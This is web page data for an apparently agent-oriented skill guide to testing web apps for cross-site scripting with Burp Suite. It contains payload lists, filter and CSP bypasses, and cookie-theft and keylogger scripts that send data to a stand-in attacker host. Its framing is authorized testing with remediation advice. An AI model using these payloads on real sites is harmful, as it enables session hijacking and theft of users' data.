[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ABV4J7XX29GFH7SCM5XD5Y":3,"skill-same:01M7ABV4J7XX29GFH7SCM5XD5Y":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":14,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":51,"updatedAt":52,"install":53,"resources":66},"01M7ABV4J7XX29GFH7SCM5XD5Y","testing-for-xss-vulnerabilities-with-burpsuite",null,"Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-for-xss-vulnerabilities-with-burpsuite\ndescription: Identifying and validating cross-site scripting vulnerabilities using\n  Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- xss\n- burpsuite\n- owasp\n- web-security\n- cross-site-scripting\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Testing for XSS Vulnerabilities with Burp Suite\n\n## When to Use\n\n- During authorized web application penetration testing to find reflected, stored, and DOM-based XSS\n- When validating XSS findings reported by automated vulnerability scanners\n- For testing the effectiveness of Content Security Policy (CSP) and XSS filters\n- When assessing client-side security of single-page applications (SPAs)\n- During bug bounty programs targeting XSS vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written scope and rules of engagement for the target application\n- **Burp Suite Professional**: Licensed version with active scanner capabilities\n- **Browser**: Firefox or Chromium with Burp CA certificate installed\n- **FoxyProxy**: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)\n- **Target application**: Authenticated access with valid test credentials\n- **XSS payloads list**: Custom wordlist or Burp's built-in XSS payload set\n\n## Workflow\n\n### Step 1: Configure Burp Suite and Map the Application\n\nSet up the proxy and crawl the application to discover all input vectors.\n\n```\n# Burp Suite Configuration\n1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080\n2. Target > Scope: Add target domain (e.g., *.target.example.com)\n3. Dashboard > New Scan > Crawl only > Select target URL\n4. Enable \"Passive scanning\" in Dashboard settings\n\n# Browser Setup\n- Install Burp CA: http:\u002F\u002Fburpsuite → CA Certificate\n- Import certificate into browser trust store\n- Configure proxy: 127.0.0.1:8080\n- Browse the application manually to build the site map\n```\n\n### Step 2: Identify Reflection Points with Burp Repeater\n\nSend requests to Repeater and inject unique canary strings to find where user input is reflected.\n\n```\n# In Burp Repeater, inject a unique canary string into each parameter:\nGET \u002Fsearch?q=xsscanary12345 HTTP\u002F1.1\nHost: target.example.com\n\n# Check the response for reflections of the canary:\n# Search response body for \"xsscanary12345\"\n# Note the context: HTML body, attribute, JavaScript, URL, etc.\n\n# Test multiple injection contexts:\n# HTML body: \u003Cp>Results for: xsscanary12345\u003C\u002Fp>\n# Attribute: \u003Cinput value=\"xsscanary12345\">\n# JavaScript: var search = \"xsscanary12345\";\n# URL context: \u003Ca href=\"\u002Fpage?q=xsscanary12345\">\n\n# Test with HTML special characters to check encoding:\nGET \u002Fsearch?q=xss\u003C>\"'&\u002F HTTP\u002F1.1\nHost: target.example.com\n# Check which characters are reflected unencoded\n```\n\n### Step 3: Test Reflected XSS with Context-Specific Payloads\n\nBased on the reflection context, craft targeted XSS payloads.\n\n```\n# HTML Body Context - Basic payload\nGET \u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\n\n# HTML Attribute Context - Break out of attribute\nGET \u002Fsearch?q=\" onfocus=alert(document.domain) autofocus=\" HTTP\u002F1.1\nHost: target.example.com\n\n# JavaScript String Context - Break out of string\nGET \u002Fsearch?q=';alert(document.domain)\u002F\u002F HTTP\u002F1.1\nHost: target.example.com\n\n# Event Handler Context - Use alternative events\nGET \u002Fsearch?q=\u003Cimg src=x onerror=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# SVG Context\nGET \u002Fsearch?q=\u003Csvg onload=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# If angle brackets are filtered, try encoding:\nGET \u002Fsearch?q=%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E HTTP\u002F1.1\nHost: target.example.com\n```\n\n### Step 4: Test Stored XSS via Burp Intruder\n\nUse Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.\n\n```\n# Burp Intruder Configuration:\n# 1. Right-click request > Send to Intruder\n# 2. Positions tab: Mark the injectable parameter\n# 3. Payloads tab: Load XSS payload list\n\n# Example payload list for Intruder:\n\u003Cscript>alert(1)\u003C\u002Fscript>\n\u003Cimg src=x onerror=alert(1)>\n\u003Csvg\u002Fonload=alert(1)>\n\u003Cbody onload=alert(1)>\n\u003Cinput onfocus=alert(1) autofocus>\n\u003Cmarquee onstart=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n\u003Cmath>\u003Cmtext>\u003Ctable>\u003Cmglyph>\u003Csvg>\u003Cmtext>\u003Ctextarea>\u003Cpath id=\"\u003C\u002Ftextarea>\u003Cimg onerror=alert(1) src=1>\">\n\">\u003Cimg src=x onerror=alert(1)>\n'-alert(1)-'\n\\'-alert(1)\u002F\u002F\n\n# In Intruder > Options > Grep - Match:\n# Add patterns: \"alert(1)\", \"onerror=\", \"\u003Cscript>\"\n# This flags responses where payloads are reflected\u002Fstored\n```\n\n### Step 5: Test DOM-based XSS\n\nIdentify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.\n\n```\n# Enable DOM Invader in Burp's embedded browser:\n# 1. Open Burp's embedded Chromium browser\n# 2. Click DOM Invader extension icon > Enable\n# 3. Set canary value (e.g., \"domxss\")\n\n# Common DOM XSS sinks to monitor:\n# - document.write()\n# - innerHTML\n# - outerHTML\n# - eval()\n# - setTimeout() \u002F setInterval() with string args\n# - location.href \u002F location.assign()\n# - jQuery .html() \u002F .append()\n\n# Common DOM XSS sources:\n# - location.hash\n# - location.search\n# - document.referrer\n# - window.name\n# - postMessage data\n\n# Test URL fragment-based DOM XSS:\nhttps:\u002F\u002Ftarget.example.com\u002Fpage#\u003Cimg src=x onerror=alert(1)>\n\n# Test via document.referrer:\n# Create a page that links to the target with XSS in the referrer\n```\n\n### Step 6: Bypass XSS Filters and CSP\n\nWhen basic payloads are blocked, use advanced techniques to bypass protections.\n\n```\n# CSP Analysis - Check response headers:\nContent-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com\n\n# Common CSP bypasses:\n# If 'unsafe-inline' is allowed:\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\n# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Filter bypass techniques:\n# Case variation: \u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n# Null bytes: \u003Cscr%00ipt>alert(1)\u003C\u002Fscript>\n# Double encoding: %253Cscript%253Ealert(1)%253C\u002Fscript%253E\n# HTML entities: \u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>\n# Unicode escapes: \u003Cscript>\\u0061lert(1)\u003C\u002Fscript>\n\n# Use Burp Suite > BApp Store > Install \"Hackvertor\"\n# Encode payloads with Hackvertor tags:\n# \u003C@hex_entities>alert(document.domain)\u003C@\u002Fhex_entities>\n```\n\n### Step 7: Validate Impact and Document Findings\n\nConfirm exploitability and document the full attack chain.\n\n```\n# Proof of Concept payload that demonstrates real impact:\n# Cookie theft:\n\u003Cscript>\nfetch('https:\u002F\u002Fattacker-server.example.com\u002Fsteal?c='+document.cookie)\n\u003C\u002Fscript>\n\n# Session hijacking via XSS:\n\u003Cscript>\nnew Image().src='https:\u002F\u002Fattacker-server.example.com\u002Flog?cookie='+document.cookie;\n\u003C\u002Fscript>\n\n# Keylogger payload (demonstrates impact severity):\n\u003Cscript>\ndocument.onkeypress=function(e){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fkeys?k='+e.key);\n}\n\u003C\u002Fscript>\n\n# Screenshot capture using html2canvas (stored XSS impact):\n\u003Cscript src=\"https:\u002F\u002Fhtml2canvas.hertzen.com\u002Fdist\u002Fhtml2canvas.min.js\">\u003C\u002Fscript>\n\u003Cscript>\nhtml2canvas(document.body).then(function(canvas){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fscreen',{\n    method:'POST',body:canvas.toDataURL()\n  });\n});\n\u003C\u002Fscript>\n\n# Document each finding with:\n# - URL and parameter\n# - Payload used\n# - Screenshot of alert\u002Fexecution\n# - Impact assessment\n# - Reproduction steps\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Reflected XSS** | Payload is included in the server response immediately from the current HTTP request |\n| **Stored XSS** | Payload is persisted on the server (database, file) and served to other users |\n| **DOM-based XSS** | Payload is processed entirely client-side by JavaScript without server reflection |\n| **XSS Sink** | A JavaScript function or DOM property that executes or renders untrusted input |\n| **XSS Source** | A location where attacker-controlled data enters the client-side application |\n| **CSP** | Content Security Policy header that restricts which scripts can execute on a page |\n| **Context-aware encoding** | Applying the correct encoding (HTML, JS, URL, CSS) based on output context |\n| **Mutation XSS (mXSS)** | XSS that exploits browser HTML parser inconsistencies during DOM serialization |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Primary testing platform with scanner, intruder, repeater, and DOM Invader |\n| **DOM Invader** | Burp's built-in browser extension for DOM XSS testing |\n| **Hackvertor** | Burp BApp for advanced payload encoding and transformation |\n| **XSS Hunter** | Blind XSS detection platform that captures execution evidence |\n| **Dalfox** | CLI-based XSS scanner with parameter analysis (`go install github.com\u002Fhahwul\u002Fdalfox\u002Fv2@latest`) |\n| **CSP Evaluator** | Google tool for analyzing Content Security Policy effectiveness |\n\n## Common Scenarios\n\n### Scenario 1: Search Function Reflected XSS\nA search page reflects the query parameter in the results heading without encoding. Inject `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` in the search parameter and demonstrate cookie theft via reflected XSS.\n\n### Scenario 2: Comment System Stored XSS\nA blog comment form sanitizes `\u003Cscript>` tags but allows `\u003Cimg>` tags. Use `\u003Cimg src=x onerror=alert(document.domain)>` to achieve stored XSS that fires for every visitor loading the page.\n\n### Scenario 3: SPA with DOM-based XSS\nA React\u002FAngular SPA reads `window.location.hash` and injects it into the DOM via `innerHTML`. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.\n\n### Scenario 4: XSS Behind WAF with Strict CSP\nA WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.\n\n## Output Format\n\n```\n## XSS Vulnerability Finding\n\n**Vulnerability**: Stored Cross-Site Scripting (XSS)\n**Severity**: High (CVSS 8.1)\n**Location**: POST \u002Fapi\u002Fcomments → `body` parameter\n**Type**: Stored XSS\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fblog\u002Fpost\u002F123\n2. Submit a comment with body: \u003Cimg src=x onerror=alert(document.domain)>\n3. Reload the page; the payload executes in the browser\n\n### Impact\n- Session hijacking via cookie theft for all users viewing the page\n- Account takeover through session token exfiltration\n- Defacement of the blog post page\n- Phishing via injected login forms\n\n### CSP Status\n- No Content-Security-Policy header present\n- X-XSS-Protection header not set\n\n### Recommendation\n1. Implement context-aware output encoding (HTML entity encoding for HTML context)\n2. Deploy Content Security Policy with strict nonce-based script allowlisting\n3. Use DOMPurify library for sanitizing user-generated HTML content\n4. Set HttpOnly and Secure flags on session cookies\n5. Add X-Content-Type-Options: nosniff header\n```\n","# Testing for XSS Vulnerabilities with Burp Suite\n\n## When to Use\n\n- During authorized web application penetration testing to find reflected, stored, and DOM-based XSS\n- When validating XSS findings reported by automated vulnerability scanners\n- For testing the effectiveness of Content Security Policy (CSP) and XSS filters\n- When assessing client-side security of single-page applications (SPAs)\n- During bug bounty programs targeting XSS vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written scope and rules of engagement for the target application\n- **Burp Suite Professional**: Licensed version with active scanner capabilities\n- **Browser**: Firefox or Chromium with Burp CA certificate installed\n- **FoxyProxy**: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)\n- **Target application**: Authenticated access with valid test credentials\n- **XSS payloads list**: Custom wordlist or Burp's built-in XSS payload set\n\n## Workflow\n\n### Step 1: Configure Burp Suite and Map the Application\n\nSet up the proxy and crawl the application to discover all input vectors.\n\n```\n# Burp Suite Configuration\n1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080\n2. Target > Scope: Add target domain (e.g., *.target.example.com)\n3. Dashboard > New Scan > Crawl only > Select target URL\n4. Enable \"Passive scanning\" in Dashboard settings\n\n# Browser Setup\n- Install Burp CA: http:\u002F\u002Fburpsuite → CA Certificate\n- Import certificate into browser trust store\n- Configure proxy: 127.0.0.1:8080\n- Browse the application manually to build the site map\n```\n\n### Step 2: Identify Reflection Points with Burp Repeater\n\nSend requests to Repeater and inject unique canary strings to find where user input is reflected.\n\n```\n# In Burp Repeater, inject a unique canary string into each parameter:\nGET \u002Fsearch?q=xsscanary12345 HTTP\u002F1.1\nHost: target.example.com\n\n# Check the response for reflections of the canary:\n# Search response body for \"xsscanary12345\"\n# Note the context: HTML body, attribute, JavaScript, URL, etc.\n\n# Test multiple injection contexts:\n# HTML body: \u003Cp>Results for: xsscanary12345\u003C\u002Fp>\n# Attribute: \u003Cinput value=\"xsscanary12345\">\n# JavaScript: var search = \"xsscanary12345\";\n# URL context: \u003Ca href=\"\u002Fpage?q=xsscanary12345\">\n\n# Test with HTML special characters to check encoding:\nGET \u002Fsearch?q=xss\u003C>\"'&\u002F HTTP\u002F1.1\nHost: target.example.com\n# Check which characters are reflected unencoded\n```\n\n### Step 3: Test Reflected XSS with Context-Specific Payloads\n\nBased on the reflection context, craft targeted XSS payloads.\n\n```\n# HTML Body Context - Basic payload\nGET \u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\n\n# HTML Attribute Context - Break out of attribute\nGET \u002Fsearch?q=\" onfocus=alert(document.domain) autofocus=\" HTTP\u002F1.1\nHost: target.example.com\n\n# JavaScript String Context - Break out of string\nGET \u002Fsearch?q=';alert(document.domain)\u002F\u002F HTTP\u002F1.1\nHost: target.example.com\n\n# Event Handler Context - Use alternative events\nGET \u002Fsearch?q=\u003Cimg src=x onerror=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# SVG Context\nGET \u002Fsearch?q=\u003Csvg onload=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# If angle brackets are filtered, try encoding:\nGET \u002Fsearch?q=%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E HTTP\u002F1.1\nHost: target.example.com\n```\n\n### Step 4: Test Stored XSS via Burp Intruder\n\nUse Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.\n\n```\n# Burp Intruder Configuration:\n# 1. Right-click request > Send to Intruder\n# 2. Positions tab: Mark the injectable parameter\n# 3. Payloads tab: Load XSS payload list\n\n# Example payload list for Intruder:\n\u003Cscript>alert(1)\u003C\u002Fscript>\n\u003Cimg src=x onerror=alert(1)>\n\u003Csvg\u002Fonload=alert(1)>\n\u003Cbody onload=alert(1)>\n\u003Cinput onfocus=alert(1) autofocus>\n\u003Cmarquee onstart=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n\u003Cmath>\u003Cmtext>\u003Ctable>\u003Cmglyph>\u003Csvg>\u003Cmtext>\u003Ctextarea>\u003Cpath id=\"\u003C\u002Ftextarea>\u003Cimg onerror=alert(1) src=1>\">\n\">\u003Cimg src=x onerror=alert(1)>\n'-alert(1)-'\n\\'-alert(1)\u002F\u002F\n\n# In Intruder > Options > Grep - Match:\n# Add patterns: \"alert(1)\", \"onerror=\", \"\u003Cscript>\"\n# This flags responses where payloads are reflected\u002Fstored\n```\n\n### Step 5: Test DOM-based XSS\n\nIdentify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.\n\n```\n# Enable DOM Invader in Burp's embedded browser:\n# 1. Open Burp's embedded Chromium browser\n# 2. Click DOM Invader extension icon > Enable\n# 3. Set canary value (e.g., \"domxss\")\n\n# Common DOM XSS sinks to monitor:\n# - document.write()\n# - innerHTML\n# - outerHTML\n# - eval()\n# - setTimeout() \u002F setInterval() with string args\n# - location.href \u002F location.assign()\n# - jQuery .html() \u002F .append()\n\n# Common DOM XSS sources:\n# - location.hash\n# - location.search\n# - document.referrer\n# - window.name\n# - postMessage data\n\n# Test URL fragment-based DOM XSS:\nhttps:\u002F\u002Ftarget.example.com\u002Fpage#\u003Cimg src=x onerror=alert(1)>\n\n# Test via document.referrer:\n# Create a page that links to the target with XSS in the referrer\n```\n\n### Step 6: Bypass XSS Filters and CSP\n\nWhen basic payloads are blocked, use advanced techniques to bypass protections.\n\n```\n# CSP Analysis - Check response headers:\nContent-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com\n\n# Common CSP bypasses:\n# If 'unsafe-inline' is allowed:\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\n# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Filter bypass techniques:\n# Case variation: \u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n# Null bytes: \u003Cscr%00ipt>alert(1)\u003C\u002Fscript>\n# Double encoding: %253Cscript%253Ealert(1)%253C\u002Fscript%253E\n# HTML entities: \u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>\n# Unicode escapes: \u003Cscript>\\u0061lert(1)\u003C\u002Fscript>\n\n# Use Burp Suite > BApp Store > Install \"Hackvertor\"\n# Encode payloads with Hackvertor tags:\n# \u003C@hex_entities>alert(document.domain)\u003C@\u002Fhex_entities>\n```\n\n### Step 7: Validate Impact and Document Findings\n\nConfirm exploitability and document the full attack chain.\n\n```\n# Proof of Concept payload that demonstrates real impact:\n# Cookie theft:\n\u003Cscript>\nfetch('https:\u002F\u002Fattacker-server.example.com\u002Fsteal?c='+document.cookie)\n\u003C\u002Fscript>\n\n# Session hijacking via XSS:\n\u003Cscript>\nnew Image().src='https:\u002F\u002Fattacker-server.example.com\u002Flog?cookie='+document.cookie;\n\u003C\u002Fscript>\n\n# Keylogger payload (demonstrates impact severity):\n\u003Cscript>\ndocument.onkeypress=function(e){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fkeys?k='+e.key);\n}\n\u003C\u002Fscript>\n\n# Screenshot capture using html2canvas (stored XSS impact):\n\u003Cscript src=\"https:\u002F\u002Fhtml2canvas.hertzen.com\u002Fdist\u002Fhtml2canvas.min.js\">\u003C\u002Fscript>\n\u003Cscript>\nhtml2canvas(document.body).then(function(canvas){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fscreen',{\n    method:'POST',body:canvas.toDataURL()\n  });\n});\n\u003C\u002Fscript>\n\n# Document each finding with:\n# - URL and parameter\n# - Payload used\n# - Screenshot of alert\u002Fexecution\n# - Impact assessment\n# - Reproduction steps\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Reflected XSS** | Payload is included in the server response immediately from the current HTTP request |\n| **Stored XSS** | Payload is persisted on the server (database, file) and served to other users |\n| **DOM-based XSS** | Payload is processed entirely client-side by JavaScript without server reflection |\n| **XSS Sink** | A JavaScript function or DOM property that executes or renders untrusted input |\n| **XSS Source** | A location where attacker-controlled data enters the client-side application |\n| **CSP** | Content Security Policy header that restricts which scripts can execute on a page |\n| **Context-aware encoding** | Applying the correct encoding (HTML, JS, URL, CSS) based on output context |\n| **Mutation XSS (mXSS)** | XSS that exploits browser HTML parser inconsistencies during DOM serialization |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Primary testing platform with scanner, intruder, repeater, and DOM Invader |\n| **DOM Invader** | Burp's built-in browser extension for DOM XSS testing |\n| **Hackvertor** | Burp BApp for advanced payload encoding and transformation |\n| **XSS Hunter** | Blind XSS detection platform that captures execution evidence |\n| **Dalfox** | CLI-based XSS scanner with parameter analysis (`go install github.com\u002Fhahwul\u002Fdalfox\u002Fv2@latest`) |\n| **CSP Evaluator** | Google tool for analyzing Content Security Policy effectiveness |\n\n## Common Scenarios\n\n### Scenario 1: Search Function Reflected XSS\nA search page reflects the query parameter in the results heading without encoding. Inject `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` in the search parameter and demonstrate cookie theft via reflected XSS.\n\n### Scenario 2: Comment System Stored XSS\nA blog comment form sanitizes `\u003Cscript>` tags but allows `\u003Cimg>` tags. Use `\u003Cimg src=x onerror=alert(document.domain)>` to achieve stored XSS that fires for every visitor loading the page.\n\n### Scenario 3: SPA with DOM-based XSS\nA React\u002FAngular SPA reads `window.location.hash` and injects it into the DOM via `innerHTML`. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.\n\n### Scenario 4: XSS Behind WAF with Strict CSP\nA WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.\n\n## Output Format\n\n```\n## XSS Vulnerability Finding\n\n**Vulnerability**: Stored Cross-Site Scripting (XSS)\n**Severity**: High (CVSS 8.1)\n**Location**: POST \u002Fapi\u002Fcomments → `body` parameter\n**Type**: Stored XSS\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fblog\u002Fpost\u002F123\n2. Submit a comment with body: \u003Cimg src=x onerror=alert(document.domain)>\n3. Reload the page; the payload executes in the browser\n\n### Impact\n- Session hijacking via cookie theft for all users viewing the page\n- Account takeover through session token exfiltration\n- Defacement of the blog post page\n- Phishing via injected login forms\n\n### CSP Status\n- No Content-Security-Policy header present\n- X-XSS-Protection header not set\n\n### Recommendation\n1. Implement context-aware output encoding (HTML entity encoding for HTML context)\n2. Deploy Content Security Policy with strict nonce-based script allowlisting\n3. Use DOMPurify library for sanitizing user-generated HTML content\n4. Set HttpOnly and Secure flags on session cookies\n5. Add X-Content-Type-Options: nosniff header\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":40,"description":7,"mitre_attack":41},[26,27,28,29,30,31],"penetration-testing","xss","burpsuite","owasp","web-security","cross-site-scripting","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43,44,45],"T1190","T1059.007","T1505.003","T1083","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add NeelakshSaxena\u002FVayu --skill testing-for-xss-vulnerabilities-with-burpsuite",{"tool":59,"command":60},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill testing-for-xss-vulnerabilities-with-burpsuite",{"tool":62,"command":63},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill testing-for-xss-vulnerabilities-with-burpsuite","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002FSKILL.md",true,[67,71,77],{"path":68,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":72,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fapi-reference.md","REFERENCE","参考文档",2095,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002Freferences\u002Fapi-reference.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",8245,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002Fscripts\u002Fagent.py",[84,91,98,105,112,119],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a 